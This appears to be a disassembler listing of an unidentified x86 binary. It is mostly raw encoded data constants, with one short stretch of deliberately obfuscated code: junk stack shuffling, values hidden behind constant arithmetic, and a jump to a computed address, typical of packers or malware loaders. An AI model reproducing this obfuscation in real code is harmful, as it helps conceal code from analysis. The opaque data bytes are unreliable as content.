dd 95689D72h, 0C37C9302h, 54B447C8h, 49F5FAD1h, 21F94ECFh
dd 28285F67h, 505B4DF7h, 0A92D4D27h, 85D65E20h, 9BC42F00h
dd 731203E4h, 66AE4148h, 18DDDC5Bh, 50F5EBA0h, 62389h
dd 0CD424F00h, 6AA5E780h, 906841Dh, 0A36C23BCh, 3FD0BD56h
dd 3BB302F2h, 0D770BD52h, 750E5BB4h, 0EA7F41Bh, 68428F80h
dd 8761119h, 28054DF7h, 0F31C7252h, 7798F5BEh, 12FD912Ah
dd 7B15CEC5h, 0F98C5F94h, 356AA5E8h, 0B9EE216Ch, 19219AF0h
dd 47DF5F6Eh, 6297020Dh, 0E71CF399h, 46A36C1Eh, 138A4F92h
dd 0F697528Fh, 72A76823h, 0C22DE2A9h, 0BD150A57h, 0FD22BCE2h
dd 34C74844h, 25232h, 0A4AE8400h, 0AA638ABFh, 3C9C2FE0h
dd 412C5C65h
dd 0D90E0189h, 0D18010h, 460CF67Ch, 29083DA8h, 7FA73CA5h
dd 4C057E63h, 12757D3Eh, 7146CE4Ch, 0FB68FB66h, 0DC520E9Bh
dd 21650h, 0A4AEA200h, 8FF800BFh, 0C547DF5Fh, 3CB6BA44h
dd 0B877C73Dh, 0DFCCD7B0h, 699A447h, 667EB3BEh, 412CCA3Bh
dd 0E855C78h, 0DC5271B6h, 1E663h, 5B14B500h, 69A6EA2Fh
dd 0C1F66134h, 0F008DEEh, 9F7407DAh, 70F1B095h, 0E4B4D342h
dd 0CE3DD002h, 0E008BDC6h, 81E9F47h, 37505888h, 4447DF8Eh
dd 586E1039h, 0A26BB346h, 6D75DDEBh, 47DFE41Ah, 0C9355E69h
dd 83C2EB78h, 0A2F9738Dh, 31B50BBh, 412CA59Eh, 0F44CBC4h
dd 92C74846h, 0FEE3FEEAh, 788097D6h, 46CE170Fh, 82CE616Ch
dd 55A8285Fh, 707DDC52h, 8E000001h, 696BBD5h, 87C6F01Dh
dd 274E83EEh, 0CD8D681Fh, 0A5101B46h, 0A4AEE412h, 30E900BFh
dd 0C020B35Ch, 47DF5FFFh, 546CA1ACh, 412C5D4Dh, 3C538EAAh
dd 0DC521C44h, 13691h, 1C72E300h, 99F5BEF3h, 0C3CC2976h
dd 6005828Ah, 6B7647DFh, 55394100h, 3049F18Ch, 10C9F025h
dd 0A101947Bh, 4DF18EEAh, 9DF4ED09h, 24AECD25h, 31F2h
dd 0A5AE4400h, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh, 484DF180h
dd 9DEAF209h, 0DE4DF180h, 0E151AAD3h, 88E62CA5h, 5138A9F5h
dd 24AE7271h, 9AA6h, 9314F800h, 17B54141h, 0F90A9DA7h
dd 7C457A95h, 0C9FE11h, 254C818Eh, 0BCF11E6Ch, 494556E9h
dd 0ED9179C6h, 0F47DFA7h, 0E643907Fh, 3139F8DDh, 49F24AE8h
dd 540DCCD7h, 0F089D639h, 0A4F3729Dh, 0CEEBA314h, 3DA6229h
dd 8B060000h, 0EE9E3784h, 4F3BD421h, 0B5DA73C0h, 19740D5Ah
dd 0FCB9A9F6h, 27749BF2h, 0C512FD8Eh, 5EAB642Ch, 0F946C9C5h
dd 0BFC8D01Fh, 0BC4DF70Ah, 5B1409DFh, 3A4BDE31h, 44FDBC53h
dd 0C093C847h, 0ACE12E5Fh, 0B04946D9h, 473373DEh, 0A7150DC3h
dd 7239EF3Ch, 0F5BEF31Ch, 0A0B77699h, 0DF5FEF98h, 0EE818C47h
dd 5F8509F1h, 6A7347DFh, 5F681F27h, 0EE8A47DFh, 0F4ED0895h
dd 0B9242FC7h, 1688F2FAh, 0D79049F2h, 7DC558B7h, 146F2572h
dd 3F1F325Bh, 7167B74Fh, 1B23E24Dh, 47DF776Ch, 6071040Fh
dd 6EA1EB2Eh, 8B4403h, 0CE977C0Fh, 0A5024FC0h, 0EEF6B59Ch
dd 49F1A4A0h, 0E12F1EE7h, 7AE83AC7h, 0C9C2DA0Fh, 2A4DF1EDh
dd 0BBCCD4EBh, 0FF4DF1EDh, 0DBE67E91h, 0AEE5FC48h, 24AE6CD6h
dd 4803h, 0A5AE5500h, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh
dd 0F4DF180h, 925B907Fh, 0D9B617F8h, 0B4700136h, 0AB7A4236h
dd 0E9F80C3Ah, 31B0CCF4h, 24EB9F58h, 0ACAC2491h, 0CE7924AEh
dd 8A000000h, 0BE1C6B73h, 545F4DF1h, 0E47798F3h, 0F31C72B6h
dd 7798F5BEh, 0FA157942h, 3E1D9EC5h, 3063B818h, 0E1ADBE51h
dd 85F9E12Eh, 0D747E031h, 140B58B7h, 0AADF305Bh, 0FB66A9E1h
dd 0D8375768h, 280D16A3h, 2BF56169h, 0D5E049F2h, 33222B88h
dd 0D4AF6C74h, 35945004h, 0E5DB5A2Dh, 67602947h, 0D4F38F74h
dd 2CEB56C1h, 0EE371A73h, 0E9D00864h, 30C83E4h, 4390FBCEh
dd 0AD2CE3AAh, 0EDB167D8h, 3DAE751Ah, 69000002h, 19AE728h
dd 9E37848Bh, 3DD623ECh, 0D770BD52h, 1C0C59B6h, 0D7385599h
dd 759AF18Ah, 0E018F28h, 0A96628C1h, 2B33825Ch, 4DF70C5Ch
dd 726C421Fh, 7C35F41Bh, 0EE9CFD12h, 8619EC21h, 719EF089h
dd 7B94F9B2h, 0E3E07346h, 0C0A5AE2Dh, 1AD3EA01h, 96699E71h
dd 0DF5FA1E6h, 44D7E247h, 0F17EE2E4h, 0E51A2549h, 888705BEh
dd 0A5578053h, 83B851EEh, 820969FCh, 714DF189h, 0FB147932h
dd 0CEC51C68h, 24AED4F6h, 11023h, 0F7B3400h, 23EC9F00h
dd 1C726290h, 98F5BEF3h, 542A4277h, 0AA47DF5Ah, 45DE2BE4h
dd 4E07C649h, 0C99CD13Eh, 712A5136h, 895EF11Eh, 0BBD29180h
dd 4F848B02h, 0CD89E97Ch, 1149F15Ch, 6595F2FAh, 0DBE64DF1h
dd 99A10048h, 4DF165EEh, 0BBC3828Dh, 4DF165CCh, 0EC39A4AFh
dd 434B868Fh, 4DF16544h, 2C12C37h, 0B55A32EBh, 8AFDAD80h
dd 0F94DF165h, 10FF8DEEh, 0B8060E7Dh, 0E8500407h, 9C7318D1h
dd 0A3E49467h, 0E047E60Bh, 790E16D5h, 0A47E60Bh, 19246CFFh
dd 23ECA15Ah, 7EAAE364h, 9366214Ch, 530C0300h, 0F78803Bh
dd 6C47E56Ch, 0EEC1F661h, 0E434A5Bh, 0D83F91B7h, 0F271DCA2h
dd 0EDB1BE89h, 0EDFDC469h, 19000000h, 0B14A9778h, 4EE734DBh
dd 0ED86D33Ch, 87206DA2h, 0CCBC0906h, 878805E9h, 25EAA13Ah
dd 0BE513FD8h, 59B6D871h, 0DBE3320Ch, 4DF70DACh, 721CF2CFh
dd 72B4361Bh, 0F6E7BE42h, 0E9A53E8Bh, 29E2D926h, 39D6B861h
dd 33C699CEh, 0F31C7205h, 7699F5BEh, 0E8C3CC29h, 820C6DA2h
dd 1A85588Dh, 0FFD6535Bh, 0DAE549F4h, 0C5C57EA5h, 0E8A6B74Ah
dd 0CCE3DA27h, 0DAADB5h, 9EA94DF7h, 0F70099EEh, 4CDFEA4Dh
dd 87BC533Bh, 79C85F6Fh, 62ADDDEBh, 77DA9C2Dh, 5CFAF1Ch
dd 0F227E8A4h, 5E835E4Ah, 2AC51C30h, 6BECAB64h, 44448B2h
dd 201DB068h, 0AA17A829h, 56385EDFh, 33DCB2C3h, 0B55A35FEh
dd 0F5ECD880h, 2E7B94FAh, 6F182037h, 0CAC933Eh, 4D3A4201h
dd 2EAC933Eh, 0F7F9023h, 0D04CB00h, 6E000000h, 92F5FD14h
dd 0F147DF5Fh, 4F253E6h, 0BBF01F72h, 3E739CF2h, 0BFF41B75h
dd 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h, 568B8406h
dd 0DB10FF8Dh
db 0D4h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
push 1F74h
mov [esp], edi
mov ebp, 700466B9h
add ebp, 35FA4BC5h
push edx
mov edx, 196C46F7h
add edx, 66171212h
sub edx, 52C8E295h
or ebp, edx
pop edx
add ebp, 5818AB8Ch
push esp
mov edi, [esp]
add esp, 4
push edx
mov edx, ebp
mov [edi+8], edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_583BD9
; ---------------------------------------------------------------------------
sbb edi, [eax+617AF6Bh]
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 4705h
dd 2D053B19h, 1F374148h, 47A537Fh, 17702136h, 60E93D9Dh
dd 0A8FC4184h, 51FC48EEh, 33E91AB0h, 27000000h, 760510h
dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh, 0FB75528Ch
dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h
dd 0
dd 70E90000h, 6800000Bh, 617B178h, 0FAD090E9h, 0B2C368FFh
dd 86E90617h, 68FFFAD0h, 617B3DDh, 0FAD07CE9h, 0B4C568FFh
dd 72E90617h, 68FFFAD0h, 617B577h, 0FAD068E9h, 0B66068FFh
dd 5EE90617h, 68FFFAD0h, 617B6FEh, 0FAD054E9h, 0B91368FFh
dd 4AE90617h, 68FFFAD0h, 617BA35h, 0FAD040E9h, 31DEB3FFh
dd 0CE414BE4h, 6DA2E881h, 7088720h, 0A36C21BAh, 9F4F6656h
dd 3BD421EEh, 0D972BF50h, 720B58B7h, 0CCA6F31Ch, 1012757Dh
dd 94714DF7h, 0C0A5AEBEh, 1004F901h, 182349F7h, 4894259h
dd 62977815h, 1CEF248Fh, 0F9167889h, 947B13ACh, 0E6C9D25Fh
dd 603368A7h, 0AC2E36F5h, 1B500EBFh, 0B93A5110h, 0DEFB2CFBh
dd 3243D6A1h, 30575F5Ch, 5347DFA8h, 9990DD48h, 24636B82h
dd 5747DFA8h, 0A7EB9C4Ch, 8D9847DFh, 398ABD64h, 0D4679E4Dh
dd 8544CBC3h, 194EC1CCh, 68A7E546h, 5A63F0D5h, 0DC95AC6Bh
dd 69C95CB3h, 49F1C509h, 94AA2934h, 0BEEBAA5Fh, 9B25219h
dd 97FA0000h, 0FA922B78h, 5B2FC815h, 0C1CE67B4h, 2568014Eh
dd 8AD9DEAh, 1B68A7E6h, 0B9060982h, 529F7020h, 0ED3AD5B9h
dd 0CBBCC413h, 0B84DF710h, 1C7205DBh, 99F5BEF3h, 1B322976h
dd 0DF5F7413h, 69FC0747h, 0E7A68B94h, 0F18CAFDFh, 96CBD649h
dd 0F18F0D7Eh, 17CAE64Dh, 0AECD1070h, 56C524h, 0AE170000h
dd 0F901C0A5h, 49F17ECDh, 0B6D1D938h, 0C54DF180h, 0F31A4FBAh
dd 80B3D4DCh, 0C5D04DF1h, 80B9D232h, 0FB3A4DF1h, 0B98D3D7Ah
dd 9BFCEAB8h, 14E71CF3h, 0E3AC3581h, 0D7A01F62h, 0C3CA06F4h
dd 0E14EE14Ch, 24AE53E1h, 927D10C9h, 7BB05F31h, 0FB1315A8h
dd 65000000h, 0BEF31C72h, 0A6F1697h, 0A9C20B87h, 0C7A5E2EAh
dd 0CBD647DFh, 0A9662738h, 0F8944D74h, 0C7CCBBC3h, 0A4AF47DFh
dd 9E310439h, 0D90E018Dh, 44917E10h, 0DFC4365Ch, 0D9365847h
dd 749BF38Ch, 0BCA9B23Fh, 0C64944FDh, 0CA88FF07h, 0F0FB47DFh
dd 1ED7EE5Dh, 2CE3A871h, 90B98CC1h, 0B5DF6717h, 0C6CFFA6h
dd 49F1ADCEh, 84E12E39h, 260FD87Bh, 0B767A9E7h, 0F16DD8AFh
dd 35A0AB4Dh, 83030BCAh, 0F2500410h, 1E6F28E7h, 820BA4F1h
dd 0A6020E8Dh, 8B30EDBEh, 867C4h, 2DE2AF00h, 0CA4547E0h
dd 69A6E47Dh, 30C831Ch, 9F701DB6h, 9B536252h, 37D01DF2h
dd 0D56EBB54h, 6E0754BBh, 0C8A2EF20h, 12167179h, 88654DF7h
dd 0F41B72B2h, 71161E35h, 1247DF5Fh, 0A26BDE07h, 0F729BD8Bh
dd 0C0CE6764h, 0B5D7904Fh, 0D3CAC75Ah, 689D721Ah, 2F4E3941h
dd 222D47E0h, 34B18EB7h, 0F079C445h, 0FD142F5Dh, 16C64944h
dd 47DF5F71h, 9F740712h, 0E8F0AF96h, 49F17EDEh, 0A8CE6029h
dd 0B741FD28h, 8CFF174Ch, 674DF247h, 97EF964Bh, 4424AE16h
dd 0C5h, 0F5FD1496h, 47DF5F92h, 15AD6228h, 2866770Ah, 91128E7h
dd 47DF5F7Eh, 7A5FF2FDh, 0FE33DCB1h, 0DF5BACE6h, 53BCD247h
dd 0F8216D06h, 0DC117C93h, 0F1969EB5h, 147DF62h, 98730083h
dd 79841C32h, 190811E6h, 35AED95Ah, 0E37FD148h, 0D1060982h
dd 0F4FC6BFEh, 49F186E6h, 0C69B6C1h, 485F1E03h, 2E31C8C7h
dd 57EA20CAh, 4C89CF7h, 0BD7C8750h, 39868904h, 0A322EDA0h
dd 0EDBE6BA1h, 4D450CB1h, 95000007h, 2DC613FCh, 0CA63B05Fh
dd 69024FC0h, 39CE926h, 4838858Ah, 30C816Dh, 0A16E1DB6h
dd 3AD5BB54h, 0D53A54EDh, 575FAE88h, 4DF71330h, 14A07653h
dd 0D1292593h, 54E7EDCDh, 78C54A43h, 1360AFDFh, 0F31C725Dh
dd 72151D34h, 1147DF5Fh, 28E7A506h, 0A7E7B095h, 58331B68h
dd 9E47DF5Fh, 3D455C95h, 47DF5F4Ah, 97E2E39h, 7A47DF60h
dd 0FB48FBB1h, 0BC27F88Dh, 398A9251h, 4A49F7AFh, 0B9D64349h
dd 0C180EB56h, 53888708h, 8E63242Ch, 15204DF6h, 91A817AAh
dd 8F15727Ah, 5B664DF6h, 38D7B7C8h, 0D33C52EBh, 92F5FD14h
dd 0F14DF68Eh, 8EFD8A92h, 737E4DF6h, 69907508h, 0D132DDB0h
dd 0E9BE51BEh, 1B32F1E0h, 0B2E72862h, 0EAEC4CDFh, 0A65008A4h
dd 9900878Fh, 788347E4h, 13929DE5h, 0EDBD3C2Bh, 659B6207h
dd 0AD000006h, 45DE2BE4h, 0E27BC847h, 811A67A8h, 1BB4010Eh
dd 60509D72h, 1BF49955h, 0B95635CEh, 52BDD36Ch, 0ED226C05h
dd 6F77C6A0h, 4DF71418h, 72B88E6Bh, 7B34F31Ch, 0F3C6FB14h
dd 0DCB27B60h, 9B1FFE33h, 1CF39B46h, 0FEFADACFh, 72F22BCh
dd 81000000h, 17B74h, 6823DE00h, 8E47DF5Fh, 0D9E1A085h
dd 49F70FF9h, 0B0333CBDh, 77083DC3h, 4AD39CE4h, 0E50AAC10h
dd 0C7803FAAh, 62FB48C7h, 21AEE32Ch, 536A2918h, 0EA53343Ch
dd 25304DF6h, 0A43292h, 4A135009h, 6256B3A0h, 0A832949Fh
dd 8CC85982h, 107B94F6h, 363826A5h, 751AEDBDh, 5B3AEh
dd 7996FB00h, 16F9932Ch, 0B55A30C9h, 4FC0CF68h, 0EB246902h
dd 0E707AE9Eh, 831C69A6h, 21BA0708h, 0BA53A06Fh, 14EE3BD4h
dd 14CABDC5h, 0DCB94DF7h, 0F31C7206h, 8099F5BEh, 0FDD0050Ah
dd 0F752D392h, 981AFFD9h, 4322079Ah, 0A7D859Ch, 7947DF9Eh
dd 528FDB6Eh, 0CB18F797h, 0BCC0FED6h, 0E33DBE22h, 5AB5DB66h
dd 0E96CCB31h, 75456h, 74A60000h, 0ACh, 305B14DEh, 6E774CDFh
dd 3DC0C887h, 6A49F710h, 0D089A05Fh, 471A4FC0h, 24EBA3B4h
dd 0D7E4AC65h, 0F70FB8CFh, 55C0CB4Dh, 622CC5C2h, 0E2EB78ADh
dd 4A7F90FDh, 0CE030C81h, 662590FBh, 0EC07C5Eh, 40C6B50h
dd 47DF5F83h, 0CB8AF500h, 46937C12h, 0F92EE1ADh, 0BF7E636Ch
dd 0F17FBBB7h, 0D28BEA49h, 0E6A151BEh, 954DF17Eh, 0CCA01F8Ah
dd 86EBAA1Ah, 4CA1AE1h, 7F120000h, 0E2AA4390h, 4347E02Dh
dd 0A9E67FCCh, 0D801966h, 0F0C5B502h, 33808FFEh, 0D11EF19Ah
dd 6AB75838h, 552BDD1h, 0B3D4DC2Bh, 0D04DF715h, 1F741DF3h
dd 0DE000001h, 1C0A5AEh, 0F71004F9h, 59182349h, 0D421EEA0h
dd 0A56A24DDh, 828D0112h, 0CAB7C04Dh, 0BFD7030Bh, 0BBC6500Eh
dd 88287BFCh, 0D576DFCEh, 741AD342h, 0D9B54E9Bh, 6B740136h
dd 800EC786h, 26875A8Fh, 0A514A768h, 186F778Eh, 6B47DF7Dh
dd 0D15925A2h, 0F45FB055h, 0D6710161h, 919C49F1h, 0AA4D4812h
dd 7E45EAEBh, 42Ch, 0A5F21D74h, 428F800Ch, 0E12EE1A9h
dd 7BC84748h, 1764ABE2h, 2D608E27h, 8FFC95E2h, 0F69A3380h
dd 5B33CC19h, 3E8D67B4h, 0F7155136h, 7F55324Dh, 0BEF31C72h
dd 0F788097h, 6C47DF60h, 0D1BDCE61h, 4D40093Eh, 0C7C48DC2h
dd 6AA5E748h, 40A18D35h, 41A0249Bh, 1AD3E8A6h, 9EE99976h
dd 0DD47DF5Fh, 9BEDA9D2h, 0D985DB09h, 542C216Eh, 8122BCD2h
dd 42h, 14737B92h, 6747DF99h, 149BC95Ch, 5F92F5FDh, 0E6F147DFh
dd 90757E53h, 0AE37C9D1h, 0FF0A49F1h, 0C038740h, 0ADB7D7BFh
dd 90A74DF1h, 0F1ADFF88h, 0DE717C4Dh, 14EC1CDh, 0B8ED2268h
dd 377F1h, 1E725B00h, 15808FFBh, 8D00B9E0h, 8E8D68C4h
dd 59C4AEF0h, 92F5FD24h, 0F147DFB4h, 0D7E87BE6h, 0E09958B7h
dd 9B2C61AEh, 0D7A22D54h, 0DF72DD21h, 0CA4549E2h, 4DC2CC95h
dd 0EAF20900h, 47E0279Dh, 27D8AFB7h, 0A0AB47E0h, 956AFD08h
dd 0DEE6A58Ch, 49F254B0h, 540DCCD7h, 1018D738h, 4DF24677h
dd 8166F904h, 0F2472269h, 2CB5D14Dh, 0AE056D65h, 51BA24h
dd 0AE0C0000h, 0F901C0A5h, 49F17ECDh, 0BC533738h, 1449B487h
dd 0F1808FFCh, 0AD622B4Dh, 33DCAF78h, 0B8CFD7FEh, 0CB4DF180h
dd 1CC549C0h, 39FBBD09h, 27927C22h, 28A9C0FFh
dd 0B43F1B3h, 8EF9A9D5h, 0ED4DF1DAh, 0DE034FE2h, 0AE852FA7h
dd 0ECFC24h, 724E0000h, 0F5BEF31Ch, 37B87798h, 0B5DBCEE3h
dd 5EDC315Ah, 3267A8E2h, 7C61F45Fh, 20EF9C55h, 748518EBh
dd 0F7C0F51Ah, 432B7897h, 47DF604Fh, 0A9F61975h, 5C917E10h
dd 20DFC6CFh, 9DEAF209h, 0DE47DF65h, 76E040D3h, 6149F15Eh
dd 0AADF3060h, 0C21F6CD7h, 0A0450EB9h, 0DE853B1h, 0F1EE8205h
dd 8BF6014Dh, 0C2596120h, 7A500492h, 0D42CDC1h, 545FA73Ah
dd 0C7C57E95h, 0E9A4B548h, 4D40D926h, 8221666Eh, 36247E5h
dd 0E5818CFBh, 79E4EF47h, 27C78F0Eh, 0C66BEDBEh, 217FFh
dd 0DD325F00h, 7A95F790h, 19F6942Dh, 0B35C33CCh, 4FC0CD66h
dd 4BA31202h, 0E780CD42h, 851E6BA4h, 1EB7040Bh, 78529F70h
dd 18662129h, 38154DF7h, 0FE1B7262h, 0CB18838Ch, 0D2B5BDD4h
dd 0B147DF5Fh, 0C42FE0B0h, 5F8AFD05h, 0EEF947DFh, 0CB444A5Bh
dd 0A5AEC87Eh, 0CDF901C0h, 3849F17Eh, 0ABE0F82Dh, 484DF180h
dd 5BDCB52Ch, 731B4CA3h, 6B94679Ch, 59829F32h, 0E4020BF4h
dd 0D03DD0F3h, 24AE64F0h, 0D725h, 0FD147700h, 0DF5F92F5h
dd 53E6F147h, 8EC34C42h, 8847C8C5h, 2B54BBCFh, 0F30CDDEAh
dd 492EC184h, 0EA256922h, 869BF757h, 0CDC147DFh, 0EB6C8342h
dd 483CF1BAh, 0CBBC6C59h, 0B847E05Eh, 841D1AADh, 43D0050Ah
dd 0D53A553Ah, 89F41B74h, 949CB3CAh, 47E05EF3h, 92F28590h
dd 49F257C4h, 0E4DB2833h, 7BB05F2Bh, 0F3727FA8h, 0DF19D584h
dd 876E774Ch, 0C1FEC0C8h, 9EA95004h, 0A86726DFh, 0F1E3645Bh
dd 517405AAh, 0FE3BF882h, 36A18813h, 1EFB92A3h, 0B736A16Eh
dd 0EDBE2B11h, 0F5753CE1h, 3D000000h, 0D56EBB54h, 720B58B7h
dd 11AAF718h, 0AB44917Eh, 0F0E02DE2h, 0AB6429C5h, 49C6C55Eh
dd 0E22D63FCh, 7D92FC95h, 0FF075630h, 4DF71988h, 72481EFBh
dd 0EA7F41Bh, 8C428F80h, 0BEF31C72h, 297699F5h, 1FDEC3CCh
dd 1B0AA39Eh, 0FB77A06Fh, 0B726B9B2h, 0F76933AFh, 42778249h
dd 0ADFA1579h, 60957A14h, 7ED4648h, 4A97ABDEh, 0D320EF9Fh
dd 5F67543Ah, 0BDE4A528h, 7F17F892h, 1E98D8B6h, 87F2B5C2h
dd 711EE71Ch, 15FA914Ah, 2A5D0DE0h, 59BDE4BCh, 0A3D83758h
dd 0C5FA65D0h, 35B0311Dh, 2D5A6259h, 4EBDE4BCh, 99CE414Dh
dd 0A3F05BC6h, 0AEDC95ACh, 0BBD6B161h, 9AA5BDE4h, 7798F607h
dd 8C8DFFB8h, 0DA00B04h, 42480128h, 0A658500Fh, 4AB5A4FFh
dd 0CB444C15h, 0C558C396h, 17B6h, 5B142000h, 0DBB2DB34h
dd 323F1B12h, 5281E275h, 6827F299h, 7BA93CA7h, 0BBF01F72h
dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E68956D4h, 4C681h
dd 0EE810000h, 4, 5C243487h, 68243C89h, 66DAh, 68241C89h
dd 0ABFh, 56243489h, 0CB5BA52h, 74BE7CC6h, 2982DDBDh, 0F3895AD6h
dd 1A1B685Eh, 24890000h, 24048124h, 4, 25C6685Eh, 1C890000h
dd 242C8124h, 81D4216h, 8108468Fh, 42160846h, 34FF081Dh
dd 0C4815E24h, 4, 5B2434FFh, 0E904C483h, 0FFFAC539h, 0B4F3B093h
dd 704D50CAh, 7DC65942h, 0B8ACD548h, 617BB4Fh, 0E0FFC503h
dd 874F23Ah, 79E3882Fh, 39D62C4Ah, 2A8DDC0Bh, 2969A2D8h
dd 7E87F938h, 55D4A041h, 6D53F7ABh, 5631114Bh, 3340BA80h
dd 49DB4FF6h, 3071104Bh, 53B2576Dh, 7FE93555h, 5A2DB6AEh
dd 45EAD95Ah, 0DA7AAADh, 4CA5E7C7h, 6AC08Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8195BCC3h
dd 77682CD2h, 1BD8343h, 6122Fh, 0BD830975h, 6122149h, 50197400h
dd 0B8C08B53h, 3FCh, 0B358589h, 9D8D0612h, 614AD09h, 585BD3FFh
dd 2149BD83h, 74000612h, 0B8535017h, 3FCh, 0B358589h, 9D8D0612h
dd 614A9F8h, 585BD3FFh, 1C47CB81h, 0BF0F72DBh, 0BBC08BD6h
dd 59560D09h, 7F8FC281h, 0BD83557Bh, 6120EE9h, 8B840F01h
dd 0E8000000h, 0Ah, 0DAACCEFBh, 0EA4C2B42h, 0E9500F6Ch
dd 0Dh, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 805A5B81h, 0BD83A5E2h
dd 6122165h, 57850F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5C8BC352h
dd 5ECB640h, 0CB815208h, 36F16F06h, 2EEDBD83h, 0F000612h
dd 3D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 18C82192h, 9AE9EC05h, 0F000003h
dd 588h, 9503BA00h, 2EF3h, 8B660000h, 0D28166D0h, 0B590EFBDh
dd 6997DADh, 0E810C06Bh, 0A3C002h, 5F129F21h, 4CCBC88h
dd 4508480h, 3AC01Ch, 31DE9746h, 0C52FF783h, 0EE97AC64h
dd 0D8264DC7h, 0FD7D54Dh, 0E8C48Bh, 0D2CEA601h, 0BBEA3F27h
dd 63D5BFAEh, 8BC1E8h, 0B7947B01h, 0E8F6A065h, 0D1C001h
dd 0B205415Ch, 6A72D7BCh, 3D29701h, 201DC001h, 89D1035Eh
dd 8143E47Dh, 1DA7E445h, 47D1C001h, 0C78F0356h, 0AD9061F5h
dd 7C5CE3A0h, 1DCCE9h, 5E688701h, 5B86C9A5h, 20E78429h
dd 69387A53h, 0BAB3AA41h, 43832FBCh, 815C008Ah, 9021CFEBh
dd 50574B67h, 0D1CCA656h, 0C9505Bh, 0D22852h, 5BC8C001h
dd 5CFD9BC2h, 44BBC425h, 0AC425h, 53CDC001h, 0AE12ADC2h
dd 329CF5Bh, 80D1C001h, 1E7EACAh, 6A8AE44Dh, 3D29601h
dd 201DC001h, 89D0035Fh, 8143E475h, 18A7E445h, 46D1C001h
dd 7D660357h, 81580141h, 0DE80AFDAh, 0F39D9868h, 55772C6h
dd 47C20Dh, 0E8F2C06Bh, 0D1C002h, 592B9921h, 4508C88h
dd 41E8480h, 1DC017h, 4C4D9140h, 0B3BBC17Ah, 66AB4BE8h
dd 57791380h, 663E7F0Eh, 0FC88888Ah, 3AC1B9h, 50C74B01h
dd 0D005A652h, 244B495Bh, 0E8F2C06Bh, 0D1C002h, 592B9921h
dd 4508C88h, 41E8480h, 1DC015h, 934D9140h, 47C5E9h, 4D58D201h
dd 81B7CC78h, 5BA89EE3h, 58A51A80h, 8C5C898Ah, 511DAAD8h
dd 8EC3E9h, 0C31EE001h, 24EF4958h, 24954105h, 0E8DB05h
dd 0C3258101h, 87242067h, 0EA8B3A6Dh, 8EC6E9h, 0B3145701h
dd 0E9A20871h, 0D1C008h, 0C2C58970h, 16D9C343h, 0C1CC9B74h
dd 298CF05h, 6A8EC000h, 3AF9301h, 20A3C001h, 898A035Ah
dd 81ECE45Dh, 1B70E445h, 433AC001h, 5380352h, 0F4854616h
dd 8121E844h, 59131AC2h, 0D04C0Eh, 8011C001h, 857BA838h
dd 3AC15Fh, 0A336B5BAh, 1F74B0Ch, 44480Eh, 0D223C001h
dd 2E41D0h, 0F68C001h, 758183h, 3680A601h, 549807AFh, 188D7BCh
dd 6A47C001h, 34B9001h, 20D1C001h, 89B00359h, 8170E445h
dd 1D3EE445h, 401DC001h, 54330351h, 3B6A38C0h, 928D8A39h
dd 6E334167h, 1C329D7h, 1EC001h, 392856h, 5F3DC001h, 7C079FC2h
dd 44C6C425h, 0B8C425h, 5796C001h, 0BED96BC2h, 5320B761h
dd 0E629DFh, 77C001h, 8D2852h, 5B67C001h, 5C2A9BC2h, 4450C425h
dd 0F2C425h, 5337C001h, 60587CC2h, 9F0721EAh, 8ED0E9h
dd 354D2101h, 13546E29h, 48EBE47Bh, 0ACB843B9h, 7C29F5h
dd 0F026C001h, 0D5F5688Ch, 51D4FECDh, 2D995Bh, 0A02852h
dd 5BF1C001h, 5C619BC2h, 44F5C425h, 2FC425h, 535EC001h
dd 8BCEE3C2h, 0D1FCA6DEh, 7920A6F0h, 84DE3F0Ah, 0E8C067h
dd 0E824C06Bh, 3AC002h
dd 58DE9821h, 4AA8488h, 4638480h, 0A3C01Ah, 0A5129041h
dd 0ECD58572h, 60B0C2DBh, 0B6669ABBh, 0F39CA175h, 14669241h
dd 0CAE3561h, 8FA3C001h, 359CBFBBh, 96545450h, 61C99B95h
dd 0BD6E45C6h, 1CC616h, 1367C001h, 0AD47C001h, 0F0FD9E2h
dd 0DD9D1499h, 4933512Ah, 60078AE6h, 0E9720A93h, 1DC015h
dd 0CDF9D8Ch, 78689880h, 9FBB8228h, 7510DBCEh, 0F4E50727h
dd 5FCCF51h, 0BA3AC001h, 6575BD6Ah, 74D4795Ah, 85CABBB0h
dd 6B402F6h, 0C02E7D8Ch, 0F8D3C616h, 0F44C775h, 0EB7D09D0h
dd 571DAAF4h, 8EC3E9h, 0C318E001h, 24DF495Eh, 24954105h
dd 0E8DD05h, 0C3238701h, 0FDBBEB6Ch, 4D49D9BAh, 0CE0E23ADh
dd 4F299Eh, 4B7C001h, 39E9A058h, 0E988BD69h, 74C013h, 0CE3DAED0h
dd 2CEEE841h, 2FC29E7Fh, 860BC70Dh, 60103AA3h, 0E96C4360h
dd 1EED20Fh, 25440Eh, 0C2BAC001h, 65A04302h, 88D220h, 6450Eh
dd 0C9C001h, 0D22854h, 5DC8C001h, 6CFD9DC2h, 44BBC425h
dd 6C425h, 55CBC001h, 0D6065DC2h, 53807CEEh, 152CFFEh
dd 0FCE8C001h, 2E997D82h, 0F3AC613h, 1DEC85h, 0E56C4101h
dd 66691E78h, 0E90380BAh, 0D1C0F7h, 0E8BDC06Bh, 74C002h
